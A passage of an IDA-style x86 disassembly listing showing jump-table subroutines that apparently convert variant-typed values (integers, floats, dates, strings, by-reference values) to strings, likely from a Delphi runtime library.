dd offset loc_40011945
dd offset loc_40011945
dd offset loc_4001188F
dd offset loc_400118AA
dd offset loc_400118C5
dd offset loc_400118E0
dd offset loc_400118FE
; ---------------------------------------------------------------------------
loc_4001176A: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
mov eax, esi ; jumptable 4001170F case 0
call sub_40004884
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011776: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
cmp byte_4001AA10, 0 ; jumptable 4001170F case 1
jz short loc_4001178C
mov dx, 100h
mov ax, 1
call sub_4000DBF4
loc_4001178C: ; CODE XREF: sub_400116DC+A1j
mov eax, esi
mov edx, dword_4001AA14
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_4001179E: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_4] ; jumptable 4001170F case 2
movsx eax, word ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_4]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400117B9: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_8] ; jumptable 4001170F case 3
mov eax, [ebx+8]
call sub_40007C98
mov edx, [ebp+var_8]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400117D3: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
fld dword ptr [ebx+8] ; jumptable 4001170F case 4
add esp, 0FFFFFFF4h
fstp [esp+94h+var_94]
wait
lea eax, [ebp+var_C]
call sub_40008E14
mov edx, [ebp+var_C]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400117F4: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
fld qword ptr [ebx+8] ; jumptable 4001170F case 5
add esp, 0FFFFFFF4h
fstp [esp+94h+var_94]
wait
lea eax, [ebp+var_10]
call sub_40008E14
mov edx, [ebp+var_10]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011815: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
push dword ptr [ebx+0Ch] ; jumptable 4001170F case 6
push dword ptr [ebx+8]
lea eax, [ebp+var_14]
call sub_400113EC
mov edx, [ebp+var_14]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011832: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
push dword ptr [ebx+0Ch] ; jumptable 4001170F case 7
push dword ptr [ebx+8]
lea eax, [ebp+var_18]
call sub_40011424
mov edx, [ebp+var_18]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_4001184F: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea eax, [ebp+var_1C] ; jumptable 4001170F case 8
push eax
mov eax, [ebx+8]
mov ecx, 7FFFFFFFh
mov edx, 1
call sub_40005174
mov edx, [ebp+var_1C]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011874: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_20] ; jumptable 4001170F case 11
movzx eax, word ptr [ebx+8]
call sub_4001145C
mov edx, [ebp+var_20]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_4001188F: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_24] ; jumptable 4001170F case 16
movsx eax, byte ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_24]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400118AA: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_28] ; jumptable 4001170F case 17
movzx eax, byte ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_28]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400118C5: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_2C] ; jumptable 4001170F case 18
movzx eax, word ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_2C]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400118E0: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
mov eax, [ebx+8] ; jumptable 4001170F case 19
xor edx, edx
push edx
push eax
lea eax, [ebp+var_30]
call sub_40007D84
mov edx, [ebp+var_30]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_400118FE: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
push dword ptr [ebx+0Ch] ; jumptable 4001170F case 20
push dword ptr [ebx+8]
lea eax, [ebp+var_34]
call sub_40007D84
mov edx, [ebp+var_34]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_4001191B: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
mov eax, [ebx+8] ; jumptable 4001170F case 12
mov edx, eax
mov eax, esi
call sub_400116DC
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_4001192C: ; CODE XREF: sub_400116DC+33j
; DATA XREF: sub_400116DC:off_40011716o
lea edx, [ebp+var_38] ; jumptable 4001170F cases 9,13
mov eax, ebx
call sub_40011524
mov edx, [ebp+var_38]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011945: ; CODE XREF: sub_400116DC+2Dj
; sub_400116DC+33j
; DATA XREF: ...
mov edx, eax ; default
; jumptable 4001170F cases 10,14,15
sub dx, 100h
jz short loc_40011955
dec dx
jz short loc_40011964
jmp short loc_4001197D
; ---------------------------------------------------------------------------
loc_40011955: ; CODE XREF: sub_400116DC+270j
mov eax, esi
mov edx, [ebx+8]
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011964: ; CODE XREF: sub_400116DC+275j
lea edx, [ebp+var_3C]
mov eax, ebx
call sub_400115F0
mov edx, [ebp+var_3C]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_4001197D: ; CODE XREF: sub_400116DC+277j
test ah, 40h
jz loc_40011B91
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_40011B7B ; default
; jumptable 40011997 cases 0,1,9,10,13-15
jmp ds:off_4001199E[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_4001199E dd offset loc_40011B7B ; DATA XREF: sub_400116DC+2BBr
dd offset loc_40011B7B ; jump table for switch statement
dd offset loc_400119F2
dd offset loc_40011A0F
dd offset loc_40011A2B
dd offset loc_40011A4E
dd offset loc_40011A71
dd offset loc_40011A90
dd offset loc_40011AAF
dd offset loc_40011B7B
dd offset loc_40011B7B
dd offset loc_40011AC0
dd offset loc_40011B6D
dd offset loc_40011B7B
dd offset loc_40011B7B
dd offset loc_40011B7B
dd offset loc_40011ADD
dd offset loc_40011AFA
dd offset loc_40011B17
dd offset loc_40011B34
dd offset loc_40011B51
; ---------------------------------------------------------------------------
loc_400119F2: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
lea edx, [ebp+var_40] ; jumptable 40011997 case 2
mov eax, [ebx+8]
movsx eax, word ptr [eax]
call sub_40007C98
mov edx, [ebp+var_40]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011A0F: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
lea edx, [ebp+var_44] ; jumptable 40011997 case 3
mov eax, [ebx+8]
mov eax, [eax]
call sub_40007C98
mov edx, [ebp+var_44]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011A2B: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 4
fld dword ptr [eax]
add esp, 0FFFFFFF4h
fstp [esp+94h+var_94]
wait
lea eax, [ebp+var_48]
call sub_40008E14
mov edx, [ebp+var_48]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011A4E: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 5
fld qword ptr [eax]
add esp, 0FFFFFFF4h
fstp [esp+94h+var_94]
wait
lea eax, [ebp+var_4C]
call sub_40008E14
mov edx, [ebp+var_4C]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011A71: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 6
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_50]
call sub_400113EC
mov edx, [ebp+var_50]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011A90: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 7
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_54]
call sub_40011424
mov edx, [ebp+var_54]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011AAF: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, esi ; jumptable 40011997 case 8
mov edx, [ebx+8]
mov edx, [edx]
call sub_40004AAC
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011AC0: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
lea edx, [ebp+var_58] ; jumptable 40011997 case 11
mov eax, [ebx+8]
movzx eax, word ptr [eax]
call sub_4001145C
mov edx, [ebp+var_58]
mov eax, esi
call sub_40004B0C
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011ADD: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
lea edx, [ebp+var_5C] ; jumptable 40011997 case 16
mov eax, [ebx+8]
movsx eax, byte ptr [eax]
call sub_40007C98
mov edx, [ebp+var_5C]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011AFA: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
lea edx, [ebp+var_60] ; jumptable 40011997 case 17
mov eax, [ebx+8]
movzx eax, byte ptr [eax]
call sub_40007C98
mov edx, [ebp+var_60]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011B17: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
lea edx, [ebp+var_64] ; jumptable 40011997 case 18
mov eax, [ebx+8]
movzx eax, word ptr [eax]
call sub_40007C98
mov edx, [ebp+var_64]
mov eax, esi
call sub_400048D8
jmp loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011B34: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 19
mov eax, [eax]
xor edx, edx
push edx
push eax
lea eax, [ebp+var_68]
call sub_40007D84
mov edx, [ebp+var_68]
mov eax, esi
call sub_400048D8
jmp short loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011B51: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 20
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_6C]
call sub_40007D84
mov edx, [ebp+var_6C]
mov eax, esi
call sub_400048D8
jmp short loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011B6D: ; CODE XREF: sub_400116DC+2BBj
; DATA XREF: sub_400116DC:off_4001199Eo
mov eax, [ebx+8] ; jumptable 40011997 case 12
mov edx, eax
mov eax, esi
call sub_400116DC
jmp short loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011B7B: ; CODE XREF: sub_400116DC+2B5j
; sub_400116DC+2BBj
; DATA XREF: ...
lea edx, [ebp+var_70] ; default
; jumptable 40011997 cases 0,1,9,10,13-15
mov eax, ebx
call sub_40011524
mov edx, [ebp+var_70]
mov eax, esi
call sub_400048D8
jmp short loc_40011BB9
; ---------------------------------------------------------------------------
loc_40011B91: ; CODE XREF: sub_400116DC+2A4j
mov eax, esi
call sub_40004884
mov edx, eax
mov eax, ebx
call sub_40011654
test al, al
jnz short loc_40011BB9
lea edx, [ebp+var_74]
mov eax, ebx
call sub_40011524
mov edx, [ebp+var_74]
mov eax, esi
call sub_400048D8
loc_40011BB9: ; CODE XREF: sub_400116DC+95j
; sub_400116DC+BDj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40011C0F
loc_40011BC6: ; CODE XREF: sub_400116DC+531j
lea eax, [ebp+var_74]
mov edx, 7
call sub_400048A8
lea eax, [ebp+var_58]
mov edx, 3
call sub_40005020
lea eax, [ebp+var_4C]
mov edx, 0Bh
call sub_400048A8
lea eax, [ebp+var_20]
mov edx, 4
call sub_40005020
lea eax, [ebp+var_10]
mov edx, 4
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40011C08: ; DATA XREF: sub_400116DC+19o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011BC6
; ---------------------------------------------------------------------------
loc_40011C0F: ; CODE XREF: sub_400116DC+52Bj
; DATA XREF: sub_400116DC+4E5o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400116DC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011C18 proc near ; CODE XREF: sub_40011DFC+247p
; sub_40011DFC+496p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
push ebp
mov ebp, esp
add esp, 0FFFFFFECh
push ebx
push esi
xor ecx, ecx
mov [ebp+var_14], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40011CC2
push dword ptr fs:[eax]
mov fs:[eax], esp
lea eax, [ebp+var_10]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40011CA5
push dword ptr fs:[eax]
mov fs:[eax], esp
push 8
push 0
push 400h
push ebx
lea eax, [ebp+var_10]
push eax
mov eax, off_4001B064
mov eax, [eax]
call eax
movzx edx, word ptr [ebx]
mov cx, 8
call sub_4000E034
push esi
lea eax, [ebp+var_14]
mov edx, [ebp+var_8]
call sub_4000511C
mov eax, [ebp+var_14]
mov ecx, 7FFFFFFFh
mov edx, 1
call sub_40005174
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40011CAC
loc_40011C9C: ; CODE XREF: sub_40011C18+92j
lea eax, [ebp+var_10]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40011CA5: ; DATA XREF: sub_40011C18+2Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011C9C
; ---------------------------------------------------------------------------
loc_40011CAC: ; CODE XREF: sub_40011C18+8Cj
; DATA XREF: sub_40011C18+7Fo
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40011CC9
loc_40011CB9: ; CODE XREF: sub_40011C18+AFj
lea eax, [ebp+var_14]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_40011CC2: ; DATA XREF: sub_40011C18+14o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011CB9
; ---------------------------------------------------------------------------
loc_40011CC9: ; CODE XREF: sub_40011C18+A9j
; DATA XREF: sub_40011C18+9Co
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40011C18 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011CD0 proc near ; CODE XREF: sub_40011DFC+27Fp
var_10 = byte ptr -10h
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
mov esi, edx
mov ebx, eax
lea eax, [ebp+var_10]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40011D26
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, ebx
lea eax, [ebp+var_10]
call sub_4000E700
lea eax, [ebp+var_10]
call ds:off_4001F29C
lea edx, [ebp+var_10]
mov eax, esi
call sub_40011DFC
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40011D2D
loc_40011D1D: ; CODE XREF: sub_40011CD0+5Bj
lea eax, [ebp+var_10]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40011D26: ; DATA XREF: sub_40011CD0+18o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011D1D
; ---------------------------------------------------------------------------
loc_40011D2D: ; CODE XREF: sub_40011CD0+55j
; DATA XREF: sub_40011CD0+48o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40011CD0 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011D34 proc near ; CODE XREF: sub_40011DFC+4B2p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFE0h
push ebx
xor ecx, ecx
mov [ebp+var_20], ecx
mov [ebp+var_4], edx
mov ebx, eax
mov eax, [ebp+var_4]
test eax, eax
jz short loc_40011D50
xor edx, edx
mov [eax], edx
loc_40011D50: ; CODE XREF: sub_40011D34+16j
xor eax, eax
push ebp
push offset loc_40011DEC
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_C]
movzx eax, word ptr [ebx]
call sub_40012D98
mov [ebp+var_5], al
cmp [ebp+var_5], 0
jz short loc_40011DD6
lea eax, [ebp+var_1C]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_40011DCF
push dword ptr fs:[eax]
mov fs:[eax], esp
push 8
mov ecx, ebx
lea edx, [ebp+var_1C]
mov eax, [ebp+var_C]
mov ebx, [eax]
call dword ptr [ebx+1Ch]
mov eax, [ebp+var_4]
push eax
lea eax, [ebp+var_20]
mov edx, [ebp+var_14]
call sub_4000511C
mov eax, [ebp+var_20]
mov ecx, 7FFFFFFFh
mov edx, 1
call sub_40005174
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40011DD6
loc_40011DC6: ; CODE XREF: sub_40011D34+A0j
lea eax, [ebp+var_1C]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_40011DCF: ; DATA XREF: sub_40011D34+4Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011DC6
; ---------------------------------------------------------------------------
loc_40011DD6: ; CODE XREF: sub_40011D34+3Cj
; sub_40011D34+9Aj
; DATA XREF: ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40011DF3
loc_40011DE3: ; CODE XREF: sub_40011D34+BDj
lea eax, [ebp+var_20]
call sub_40005008
retn
; ---------------------------------------------------------------------------
loc_40011DEC: ; DATA XREF: sub_40011D34+1Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40011DE3
; ---------------------------------------------------------------------------
loc_40011DF3: ; CODE XREF: sub_40011D34+B7j
; DATA XREF: sub_40011D34+AAo
movzx eax, [ebp+var_5]
pop ebx
mov esp, ebp
pop ebp
retn
sub_40011D34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40011DFC proc near ; CODE XREF: sub_4000E7B0+19p
; sub_4000EBF8+1Fp ...
var_90 = tbyte ptr -90h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov ecx, 0Eh
loc_40011E04: ; CODE XREF: sub_40011DFC+Dj
push 0
push 0
dec ecx
jnz short loc_40011E04
push ebx
push esi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push offset loc_40012341
push dword ptr fs:[eax]
mov fs:[eax], esp
movzx eax, word ptr [ebx]
movzx edx, ax
cmp edx, 14h ; switch 21 cases
ja loc_40012057 ; default
; jumptable 40011E2E cases 10,14,15
jmp ds:off_40011E35[edx*4] ; switch jump
; ---------------------------------------------------------------------------
off_40011E35 dd offset loc_40011E89 ; DATA XREF: sub_40011DFC+32r
dd offset loc_40011E95 ; jump table for switch statement
dd offset loc_40011EBD
dd offset loc_40011ED8
dd offset loc_40011EF2
dd offset loc_40011F13
dd offset loc_40011F34
dd offset loc_40011F51
dd offset loc_40011F6E
dd offset loc_4001203E
dd offset loc_40012057
dd offset loc_40011F86
dd offset loc_4001202D
dd offset loc_4001203E
dd offset loc_40012057
dd offset loc_40012057
dd offset loc_40011FA1
dd offset loc_40011FBC
dd offset loc_40011FD7
dd offset loc_40011FF2
dd offset loc_40012010
; ---------------------------------------------------------------------------
loc_40011E89: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
mov eax, esi ; jumptable 40011E2E case 0
call sub_40005008
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011E95: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
cmp byte_4001AA10, 0 ; jumptable 40011E2E case 1
jz short loc_40011EAB
mov dx, 8
mov ax, 1
call sub_4000DBF4
loc_40011EAB: ; CODE XREF: sub_40011DFC+A0j
mov eax, esi
mov edx, dword_4001AA14
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011EBD: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_4] ; jumptable 40011E2E case 2
movsx eax, word ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_4]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011ED8: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_8] ; jumptable 40011E2E case 3
mov eax, [ebx+8]
call sub_40007C98
mov edx, [ebp+var_8]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011EF2: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
fld dword ptr [ebx+8] ; jumptable 40011E2E case 4
add esp, 0FFFFFFF4h
fstp [esp+90h+var_90]
wait
lea eax, [ebp+var_C]
call sub_40008E14
mov edx, [ebp+var_C]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011F13: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
fld qword ptr [ebx+8] ; jumptable 40011E2E case 5
add esp, 0FFFFFFF4h
fstp [esp+90h+var_90]
wait
lea eax, [ebp+var_10]
call sub_40008E14
mov edx, [ebp+var_10]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011F34: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
push dword ptr [ebx+0Ch] ; jumptable 40011E2E case 6
push dword ptr [ebx+8]
lea eax, [ebp+var_14]
call sub_400113EC
mov edx, [ebp+var_14]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011F51: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
push dword ptr [ebx+0Ch] ; jumptable 40011E2E case 7
push dword ptr [ebx+8]
lea eax, [ebp+var_18]
call sub_40011424
mov edx, [ebp+var_18]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011F6E: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
push esi ; jumptable 40011E2E case 8
mov eax, [ebx+8]
mov ecx, 7FFFFFFFh
mov edx, 1
call sub_40005174
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011F86: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_1C] ; jumptable 40011E2E case 11
movzx eax, word ptr [ebx+8]
call sub_4001145C
mov edx, [ebp+var_1C]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011FA1: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_20] ; jumptable 40011E2E case 16
movsx eax, byte ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_20]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011FBC: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_24] ; jumptable 40011E2E case 17
movzx eax, byte ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_24]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011FD7: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_28] ; jumptable 40011E2E case 18
movzx eax, word ptr [ebx+8]
call sub_40007C98
mov edx, [ebp+var_28]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40011FF2: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
mov eax, [ebx+8] ; jumptable 40011E2E case 19
xor edx, edx
push edx
push eax
lea eax, [ebp+var_2C]
call sub_40007D84
mov edx, [ebp+var_2C]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012010: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
push dword ptr [ebx+0Ch] ; jumptable 40011E2E case 20
push dword ptr [ebx+8]
lea eax, [ebp+var_30]
call sub_40007D84
mov edx, [ebp+var_30]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_4001202D: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
mov eax, [ebx+8] ; jumptable 40011E2E case 12
mov edx, eax
mov eax, esi
call sub_40011DFC
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_4001203E: ; CODE XREF: sub_40011DFC+32j
; DATA XREF: sub_40011DFC:off_40011E35o
lea edx, [ebp+var_34] ; jumptable 40011E2E cases 9,13
mov eax, ebx
call sub_40011C18
mov edx, [ebp+var_34]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012057: ; CODE XREF: sub_40011DFC+2Cj
; sub_40011DFC+32j
; DATA XREF: ...
mov edx, eax ; default
; jumptable 40011E2E cases 10,14,15
sub dx, 100h
jz short loc_40012067
dec dx
jz short loc_40012076
jmp short loc_4001208F
; ---------------------------------------------------------------------------
loc_40012067: ; CODE XREF: sub_40011DFC+262j
mov eax, esi
mov edx, [ebx+8]
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012076: ; CODE XREF: sub_40011DFC+267j
lea edx, [ebp+var_38]
mov eax, ebx
call sub_40011CD0
mov edx, [ebp+var_38]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_4001208F: ; CODE XREF: sub_40011DFC+269j
test ah, 40h
jz loc_400122A3
movzx eax, ax
and eax, 0FFFFBFFFh
cmp eax, 14h ; switch 21 cases
ja loc_4001228D ; default
; jumptable 400120A9 cases 0,1,9,10,13-15
jmp ds:off_400120B0[eax*4] ; switch jump
; ---------------------------------------------------------------------------
off_400120B0 dd offset loc_4001228D ; DATA XREF: sub_40011DFC+2ADr
dd offset loc_4001228D ; jump table for switch statement
dd offset loc_40012104
dd offset loc_40012121
dd offset loc_4001213D
dd offset loc_40012160
dd offset loc_40012183
dd offset loc_400121A2
dd offset loc_400121C1
dd offset loc_4001228D
dd offset loc_4001228D
dd offset loc_400121D2
dd offset loc_4001227F
dd offset loc_4001228D
dd offset loc_4001228D
dd offset loc_4001228D
